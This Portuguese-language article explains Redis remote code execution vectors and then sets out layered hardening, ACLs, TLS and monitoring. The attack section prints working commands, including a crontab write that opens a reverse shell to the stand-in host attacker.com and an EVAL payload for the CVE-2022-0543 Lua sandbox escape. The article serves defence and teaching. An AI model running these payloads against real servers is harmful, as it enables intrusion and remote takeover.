RediShell RCE: Anatomia da Vulnerabilidade em Redis e Mitigação

Mais de 50.000 instâncias Redis expostas publicamente na internet sem autenticação. Esse número vem de varreduras regulares do Shodan e representa um problema fundamental: Redis nunca foi projetado para exposição pública. A documentação oficial é explícita sobre isso — o sistema foi arquiteturalmente desenhado para operar apenas em redes confiáveis.

Vulnerabilidades críticas de execução remota de código (RCE) em Redis não são raras. CVEs como a CVE-2022-0543 (CVSS 10.0) e CVE-2023-28856 demonstram que mesmo implementações aparentemente seguras podem conter falhas devastadoras. O que torna essas vulnerabilidades perigosas é a combinação de dois fatores: facilidade técnica de exploração e acesso direto ao sistema operacional através de comandos administrativos.

Este artigo detalha os mecanismos técnicos reais por trás dos principais vetores de ataque RCE em Redis, explica como CVEs críticas foram exploradas na prática, e apresenta configurações defensivas verificáveis para ambientes de produção.

Vetores de Ataque: Como Redis se Torna Shell

CONFIG SET + SAVE: Sobrescrevendo Arquivos Críticos

O vetor mais clássico de RCE em Redis explora três comandos administrativos em sequência: CONFIG SET dir, CONFIG SET dbfilename, e SAVE. Redis escreve snapshots de seus dados em disco através do comando SAVE, criando um arquivo no caminho definido por dir com o nome especificado em dbfilename.

Um atacante com acesso não autenticado pode reconfigurar esses parâmetros em runtime para apontar para qualquer diretório com permissão de escrita do processo Redis:

CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET payload "\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n"
SAVE

O resultado? Um crontab malicioso que será executado pelo sistema operacional. O mesmo princípio funciona para sobrescrever /root/.ssh/authorized_keys com chaves SSH de atacantes, ou injetar webshells em /var/www/html quando Redis está rodando com permissões inadequadas.

A proteção nativa do Redis contra esse vetor é surpreendentemente limitada. O comando CONFIG simplesmente permite reconfiguração completa em runtime sem validações de segurança sobre os caminhos especificados. O sistema assume que apenas administradores legítimos terão acesso para executar esses comandos.

Lua Sandbox Escape: CVE-2022-0543

A CVE-2022-0543 representa um tipo diferente de falha. Redis inclui um interpretador Lua embutido para scripting, teoricamente isolado em um sandbox que impede chamadas perigosas ao sistema operacional. A vulnerabilidade surgiu em pacotes Debian e Ubuntu do Redis que incluíam o pacote liblua5.1-0-dev com módulos Lua adicionais não sandboxed.

O módulo package do Lua, normalmente desabilitado no Redis, estava acessível através de package.loadlib. Isso permitia carregar bibliotecas compartilhadas arbitrárias e chamar funções C diretamente:

EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

O que torna essa CVE particularmente insidiosa é que ela não depende de configuração incorreta por parte do administrador. Instâncias Redis instaladas via apt-get em sistemas Debian/Ubuntu eram vulneráveis por padrão, mesmo com protected-mode ativo e autenticação configurada. A pontuação CVSS 10.0 reflete essa facilidade de exploração combinada com impacto total.

CVEs relacionadas (CVE-2022-24735 e CVE-2022-24736) exploraram falhas similares no sandbox Lua em versões anteriores ao Redis 7.0-rc1, 6.2.7 e 6.0.16, permitindo escape através de bibliotecas debug e io mal isoladas.

Master-Slave Replication RCE

Redis implementa replicação através do protocolo FULLRESYNC, onde slaves conectam ao master e baixam um snapshot completo dos dados. Um atacante que consegue executar o comando SLAVEOF pode forçar uma instância Redis legítima a se conectar a um servidor malicioso controlado pelo atacante.

Durante o processo de sincronização, o servidor falso envia um módulo Redis compilado malicioso como se fosse parte do dump de dados. Redis carrega esse módulo dinamicamente via MODULE LOAD, executando código C/C++ nativo com os privilégios do processo. O exploit documentado no GitHub (Ridter/redis-rce) automatiza esse processo, permitindo shell interativo em segundos.

O comando MODULE LOAD foi introduzido para estender funcionalidades do Redis através de bibliotecas compartilhadas, mas representa uma superfície de ataque significativa. Ele permite execução arbitrária de código nativo sem sandboxing.

Configuração Defensiva em Camadas

Proteger Redis contra RCE requer defesas em múltiplas camadas. Uma única medida isolada não é suficiente devido à diversidade de vetores de ataque.

Isolamento de Rede como Primeira Linha

Redis deve operar exclusivamente em redes privadas. A configuração bind no arquivo redis.conf define explicitamente quais interfaces de rede aceitam conexões:

bind 127.0.0.1 ::1

Isso limita conexões apenas ao localhost. Em ambientes distribuídos onde múltiplos servidores precisam acessar Redis, use IPs privados específicos:

bind 10.0.1.100

O protected-mode yes (padrão desde Redis 3.2.0) adiciona uma camada extra, bloqueando conexões externas quando nenhuma senha está configurada e bind não está especificado. Mas essa proteção pode ser contornada se configurações incorretas existirem.

Firewalls no nível de sistema operacional (iptables, nftables) ou cloud (Security Groups da AWS, Firewall Rules do GCP) devem bloquear explicitamente a porta 6379 para tráfego público, permitindo apenas ranges de IP conhecidos.

ACLs para Controle Granular

Redis 6.0+ introduziu Access Control Lists que permitem definir permissões por comando para cada usuário. Isso difere fundamentalmente do requirepass, que apenas autentica mas concede acesso total a todos os comandos.

Para criar um usuário de aplicação com permissões mínimas:

ACL SETUSER app_user on >senha_forte ~* -@dangerous +@read +@write +@fast -CONFIG -MODULE -SLAVEOF -SHUTDOWN

Essa ACL:

• Habilita o usuário (on) com senha
• Permite acesso a todas as keys (~*)
• Remove categoria de comandos perigosos (-@dangerous)
• Adiciona apenas leitura, escrita e comandos rápidos
• Bloqueia explicitamente CONFIG, MODULE, SLAVEOF e SHUTDOWN

Mesmo que um atacante comprometa credenciais da aplicação, não conseguirá executar vetores RCE sem esses comandos.

Renomear ou Desabilitar Comandos Críticos

O arquivo redis.conf permite renomear comandos para strings impossíveis de adivinhar, ou desabilitá-los completamente:

rename-command CONFIG ""
rename-command MODULE ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command KEYS ""
rename-command DEBUG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""

Usar string vazia ("") desabilita o comando completamente. Alternativamente, renomear para algo aleatório como rename-command CONFIG "CONFIG_a8f2b9d1e4c6" mantém funcionalidade para administradores que conhecem o novo nome, mas impede scripts automatizados de atacantes.

Essa abordagem tem trade-offs. Alguns frameworks como Sidekiq (Ruby) ou Bull (Node.js) podem depender de comandos específicos. Teste seu ambiente específico antes de desabilitar comandos em produção.

TLS para Proteção em Trânsito

Redis 6.0+ suporta TLS nativo. Sem ele, requirepass transmite senhas em plaintext — vulneráveis a sniffing de rede mesmo em VPCs privadas se um atacante conseguir acesso lateral.

Configuração básica de TLS no redis.conf:

port 0
tls-port 6379
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt
tls-auth-clients yes

Isso desabilita a porta não-criptografada (port 0) e força todas as conexões através de TLS. O tls-auth-clients yes requer que clientes apresentem certificados válidos, implementando autenticação mútua.

A documentação oficial indica overhead de criptografia mensurável em operações de alta throughput. Avalie se o trade-off é aceitável para seu caso de uso.

Detecção e Monitoramento

Configuração defensiva previne ataques, mas detecção permite resposta rápida quando proteções falham. O comando INFO commandstats expõe métricas sobre execução de comandos:

redis-cli INFO commandstats

Procure por padrões suspeitos:

• Comandos CONFIG executados fora de janelas de manutenção esperadas
• EVAL ou EVALSHA com frequência anormal
• SLAVEOF ou MODULE LOAD quando replicação não está configurada

Redis não registra payloads completos de comandos em logs por padrão, dificultando análise forense detalhada. Soluções externas como proxies (Envoy, HAProxy) podem capturar comandos completos antes de chegarem ao Redis, mas isso adiciona latência e complexidade operacional.

O sistema também não implementa rate limiting nativo contra brute-force de senhas. Um atacante pode tentar milhares de combinações por segundo sem throttling. Firewalls ou proxies externos são necessários para essa proteção.

Verificação de Instâncias Já Comprometidas

Se você suspeita que uma instância foi comprometida, a abordagem conservadora:

1. Verifique versão do Redis (INFO server) contra CVEs conhecidas
2. Revise usuários não reconhecidos em /etc/passwd e chaves SSH em /root/.ssh/authorized_keys
3. Procure crontabs suspensos em /var/spool/cron/
4. Analise binários recentemente modificados que Redis poderia ter sobrescrito
5. Considere reimplantar a instância do zero se qualquer indicador for encontrado

A velocidade de exploração desses vetores sugere que janelas de detecção são medidas em minutos, não horas.

Implementação Prática

Comece auditando suas instâncias Redis atuais:

redis-cli INFO server | grep redis_version
redis-cli CONFIG GET bind
redis-cli CONFIG GET requirepass
redis-cli ACL LIST

Priorize mudanças por impacto:

1. Crítico imediato: Isolar rede (bind + firewall) e habilitar autenticação
2. Alta prioridade: Implementar ACLs ou renomear comandos perigosos
3. Médio prazo: Configurar TLS se tráfego atravessa redes não totalmente confiáveis
4. Contínuo: Monitorar commandstats e atualizar para versões mais recentes

A documentação oficial do Redis sobre segurança (redis.io/docs/management/security) detalha cada configuração com exemplos específicos. Vulnerabilidades como CVE-2023-28856 que afetaram versões 7.0 antes da 7.0.11 demonstram que mesmo versões recentes requerem patches regulares.

Redis é uma ferramenta poderosa quando operada dentro de suas premissas arquiteturais: redes confiáveis, controles de acesso rigorosos, e isolamento adequado. Expor Redis diretamente à internet sem essas proteções não é uma configuração “insegura” por descuido — é uma incompatibilidade fundamental com o modelo de segurança da ferramenta. Trate Redis como você trataria um banco de dados tradicional: protegido por múltiplas camadas defensivas, nunca dependendo de uma única medida de segurança.